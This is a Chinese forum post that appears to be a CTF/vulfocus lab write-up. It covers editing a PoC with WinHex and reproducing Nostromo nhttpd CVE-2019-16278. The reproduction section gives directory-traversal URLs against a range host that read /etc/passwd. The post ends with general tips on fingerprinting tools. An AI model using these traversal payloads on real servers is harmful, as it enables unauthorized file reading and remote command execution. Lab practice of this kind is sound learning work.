修改poc,让其执行的命令为:ls /tmp


使用工具:winhex


前面的s:7一定修改,ls /tmp的字节为7



保存图片,上传,触发



题目号:077


描述

Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。


CVE编号:cve-2019-16278


复现

http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/etc/passwd


http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/tmp/


结尾

一些做题技巧,当打开题目无从下手时,可以利用指纹扫描工具比如Goby、Xray、vulmap、nmap,指纹信息搭配Goby可快速利用漏洞(渗透测试本质就是信息收集),也可根据指纹信息去靶场环境搜索找到CVE编号然后百度找复现文章(坑点多),或者去github找大佬写好的工具一把梭,在复现学习过程中不建议复现完漏洞就完事,做好笔记,学习漏洞点,学习攻击手法。


仅代表个人的评价比赛与总结:感觉像是把CTF(夺旗比赛)与实战(各种实战中可能遇到的漏洞)融合。漏洞日益渐增,复现/分析/了解漏洞一直是比较困难的,要么自己找源码去尝试,要么借助网络空间安全搜索引擎(fofa)在未授权的环境进行测试复现,vulfocus的出现不仅保护了网络上的安全,也保护了不懂法的小白,希望vulfocus与办越好。下次我一定要找俩队友冲进前五。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-16 16:52 , Processed in 0.034940 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表